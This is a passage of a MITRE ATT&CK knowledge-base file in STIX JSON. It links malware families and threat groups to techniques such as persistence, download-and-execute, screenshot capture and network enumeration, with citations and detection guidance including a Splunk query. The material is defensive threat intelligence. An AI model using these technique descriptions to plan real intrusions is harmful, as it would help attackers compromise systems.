2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-05-21T21:31:34.256Z","description":"[Pony](https://attack.mitre.org/software/S0453) can download additional files onto the infected system.(Citation: Malwarebytes Pony April 2016)\t","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3eafcf0b-eab0-4d30-a05e-c6792408190e","created":"2022-03-30T14:26:51.858Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Command History","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#23","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Consider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.","modified":"2022-04-20T12:43:33.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--818302b2-d640-477b-bf88-873120ce85c4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3eb174df-6b12-484e-89c1-fce208e6cdfd","type":"relationship","created":"2021-03-02T18:16:41.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-02T18:16:41.055Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has loaded a plist file using the launchctl command.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3eb29574-145d-4d4a-b4c6-e94b8a79781e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}],"modified":"2021-04-27T19:53:40.885Z","description":"[DustySky](https://attack.mitre.org/software/S0062) searches for removable media and duplicates itself onto it.(Citation: DustySky)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3eb31ed1-d93b-4897-bd66-bf2a2935ff71","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T18:08:25.010Z","description":"Monitor for newly executed processes that may attempt to get a listing of open application windows. System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created).\n\nAnalytic 1 - Suspicious Processes\n\n(sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (sourcetype=\"WinEventLog:Security\" EventCode=\"4688\") | where CommandLine LIKE \"%Get-Process%\" AND CommandLine LIKE \"%mainWindowTitle%\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ebad12d-fd33-4289-93dc-1f5af5e90b66","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-16T23:56:46.398Z","description":"[FLASHFLOOD](https://attack.mitre.org/software/S0036) achieves persistence by making an entry in the Registry's Run key.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ebb77aa-fe2b-426d-858c-f5adb0ca9e63","created":"2024-09-26T17:58:24.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ignacio Udev research 2024","description":"Eder P. Ignacio. (2024, February 21). Leveraging Linux udev for persistence. Retrieved September 26, 2024.","url":"https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T16:37:20.952Z","description":"Monitor the creation of new processes that are children of `systemd-udevd.service` at the process tree level.(Citation: Ignacio Udev research 2024)","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--f4c3f644-ab33-433d-8648-75cc03a95792","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ebc8829-f260-4d75-817a-cd23a4ebb194","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT29","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"}],"modified":"2019-10-11T19:07:42.404Z","description":"Before being appended to image files, [HAMMERTOSS](https://attack.mitre.org/software/S0037) commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command.(Citation: FireEye APT29)","relationship_type":"uses","source_ref":"malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ec34d16-a4e6-4fc7-b819-5a041605aa42","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Janicab","description":"Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.","url":"https://web.archive.org/web/20230331162455/https://www.thesafemac.com/new-signed-malware-called-janicab/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:07:36.512Z","description":"[Janicab](https://attack.mitre.org/software/S0163) used a cron job for persistence on Mac devices.(Citation: Janicab)","relationship_type":"uses","source_ref":"malware--234e7770-99b0-4f65-b983-d3230f76a60b","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ec64efd-1ee8-4bfd-8ff1-3316806d7979","created":"2024-01-23T19:33:25.606Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T21:16:21.732Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has used scheduled tasks to execute discovery commands and scripts for collection.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ed38d36-8e7c-4670-aead-cc8c28fc53cc","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ed5a1c3-e7c8-4fb7-bfcf-401b29f5f47c","created":"2020-09-11T13:27:44.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cyberreason Anchor December 2019","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware"},{"source_name":"Bitdefender Trickbot VNC module Whitepaper 2021","description":"Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot’s Ever-Improving VNC Module. Retrieved September 28, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:45:32.493Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can send information about the compromised host and upload data to a hardcoded C2 server.(Citation: Cyberreason Anchor December 2019)(Citation: Bitdefender Trickbot VNC module Whitepaper 2021)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ed930d6-ab79-4642-8320-2ed59d899b6d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.778Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use PowerShell commands to download and execute a payload and open a decoy document on the victim’s machine.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3edc3698-c8a9-4212-b34e-1f3a44fbd00d","type":"relationship","created":"2020-06-08T16:57:20.222Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T17:22:35.647Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to take screenshots on an infected host including capturing content from windows of instant messaging applications.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ee66a23-0783-4292-b4be-cc227932800c","created":"2023-08-01T20:16:58.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-08T17:13:44.822Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has executed multiple commands to enumerate network topology and settings including `ipconfig`, `netsh interface firewall show all`, and `netsh interface portproxy show all`.(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ee67749-9979-4490-b984-1aa962326109","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor for newly executed processes of binaries involved in shutting down or rebooting systems.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ee76373-418f-43af-adb5-3c0fcb7f080e","created":"2020-12-14T17:34:58.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T17:59:54.582Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) attempts to impersonate an anonymous token to enumerate bindings in the service control manager.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ee8862f-2595-462e-8df8-aab639314b65","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"}],"modified":"2019-09-09T19:12:32.575Z","description":"[APT37](https://attack.mitre.org/groups/G0067) collects the computer name, the BIOS model, and execution path.(Citation: Talos Group123)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ee8ef8e-c4ad-4332-b4ff-3e45d9c21f66","created":"2024-03-29T16:59:11.210Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T16:59:11.210Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ef224b5-2edf-41c1-916f-1d80a7dc4ada","type":"relationship","created":"2020-05-27T20:25:33.633Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 MechaFlounder March 2019","url":"https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/","description":"Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}],"modified":"2020-05-27T20:25:33.633Z","description":"[MechaFlounder](https://attack.mitre.org/software/S0459) has the ability to identify the username and hostname on a compromised host.(Citation: Unit 42 MechaFlounder March 2019)","relationship_type":"uses","source_ref":"malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ef6a3fb-0d59-4ba5-b2d0-dc32d547b74f","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-04-24T19:41:25.740Z","description":"[FIN5](https://attack.mitre.org/groups/G0053) has used the open source tool Essential NetTools to map the network and build a list of targets.(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3ef89472-470c-42c9-be01-155efe607b78","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Poison Ivy","description":"FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf"},{"source_name":"Symantec Darkmoon Aug 2005","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:30:03.923Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) contains a keylogger.(Citation: FireEye Poison Ivy)(Citation: Symantec Darkmoon Aug 2005)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3efa9831-8d67-4bd1-92d4-ef252747b701","created":"2022-06-01T20:42:24.784Z","x_mitre_version":"0.1","external_references":[{"source_name":"Forcepoint BITTER Pakistan Oct 2016","url":"https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan","description":"Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."},{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BITTER](https://attack.mitre.org/groups/G1002) has sent spearphishing emails with a malicious RTF document or Excel spreadsheet.(Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016)","modified":"2022-06-01T21:21:52.224Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3efc2e37-4179-42d6-89c8-f48dc4d9a8a7","created":"2022-03-30T14:26:51.835Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor network traffic content for evidence of data exfiltration, such as gratuitous or anomalous outbound traffic containing collected data. Consider correlation with process monitoring and command lines associated with collection and exfiltration.","modified":"2022-04-12T13:11:58.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3efd847d-47ec-4460-ad63-6233b177ee64","type":"relationship","created":"2022-03-24T22:31:32.708Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.708Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can establish persistence by creating a new service.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3efe41c1-48be-48fc-90d8-5ae70df3cd97","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Sakula","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}],"modified":"2020-03-17T02:29:53.502Z","description":"[Sakula](https://attack.mitre.org/software/S0074) contains UAC bypass code for both 32- and 64-bit systems.(Citation: Dell Sakula)","relationship_type":"uses","source_ref":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f010259-666c-403b-b5c7-603b319583da","type":"relationship","created":"2020-05-05T19:37:33.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.542Z","description":"(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842","target_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3f02c07f-663f-4c54-b7e0-c2b2dbe82335","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:44:09.991Z","description":"[ZLib](https://attack.mitre.org/software/S0086) creates Registry keys to allow itself to run as various services.(Citation: Cylance Dust 